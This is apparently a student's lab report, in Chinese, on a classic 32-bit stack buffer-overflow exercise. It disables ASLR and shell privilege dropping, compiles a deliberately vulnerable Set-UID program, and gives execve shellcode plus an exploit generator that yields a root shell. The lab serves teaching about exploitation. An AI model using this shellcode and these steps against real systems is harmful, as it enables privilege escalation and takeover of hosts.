标签：随机 ubuntu 成功 原因 软件包 https for 用户输入 另一个
通过往程序的缓冲区写超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能，这样可以使得攻击者取得程序的控制权，如果该程序具有足够的权限，那么整个主机就被控制了。
一般而言，攻击者攻击root程序，然后执行类似“exec(sh)”的执行代码来获得root权限的shell。
为了达到这个目的，攻击者必须达到如下的两个目标：
1. 在程序的地址空间里安排适当的代码。
2. 通过适当的初始化寄存器和内存，让程序跳转到入侵者安排的地址空间执行。
操作具体来源 https://www.shiyanlou.com/courses/231
1. 进入实验环境
打开虚拟机，进入linux环境，之前安装的是 64 位Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境进行操作，所以首先输入命令安装一些用于编译 32 位 C 程序的软件包：
sudo apt-get update sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev sudo apt-get install -y python3.6-gdbm gdb
2. 关闭Ubuntu Linux 系统中缓冲区溢出的防护措施
首先关闭随机初始地址，Ubuntu 和其他一些 Linux 系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这会使得猜测准确的内存地址变得十分困难，所以使用命令关闭这一功能。
sudo sysctl -w kernel.randomize_va_space=0
其次在/bin/bash 关掉中防护措施。为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个 Set-UID 程序调用
一个 shell，也不能在这个 shell 中保持 root 权限，所以需要使用命令来关闭防护措施。
linux 系统中，/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个 shell 程序（zsh）代替 /bin/bash。
sudo su cd /bin rm sh ln -s zsh sh exit
输入命令进入linux32位环境，
3.程序代码
3.1 shellocode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址。
如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是 shellcode。
#include <stdio.h> int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }
此段代码的汇编版本为
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.2 漏洞程序
新建一个文件，示例代码如下：
#include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译程序，并设置 SET-UID。命令如下：
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
3.3 攻击程序
攻击漏洞程序，并获得root权限：相同目录下新建另一个文件，代码如下：
/* exploit.c */ /* A program that creates a file containing code for launching shell*/ #include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址 strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer，偏移量设为了 100 /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。
3.4 得到shellcode在内存中的地址
输入命令进行调试
gdb stack
disass main
esp 中就是 str 的起始地址，所以我们在地址 0x080484ee 处设置断点。输入命令：
b *0x080484ee r i r $esp
获得地址 0xffffd4c0 即为 str 的地址
计算shellcode 地址为 0xffffd4c0 + 0x64 = 0xffffd524（附十六进制计算器）
http://www.99cankao.com/digital-computation/hex-addition-calculator.php
将计算出的地址改入要攻击的程序代码中，\x??\x??\x??\x?? 修改为计算的结果 \x24\xd5\xff\xff，注意顺序是反的。再进行编译：
gcc -m32 -o exploit exploit.c //要攻击的程序文件名
先运行攻击程序，再运行漏洞程序，观察结果：
攻击成功，获得root权限！
20181334《信息安全系统设计与实现》缓冲区溢出漏洞实验
标签：随机 ubuntu 成功 原因 软件包 https for 用户输入 另一个
原文地址：https://www.cnblogs.com/zyj2000/p/13798881.html
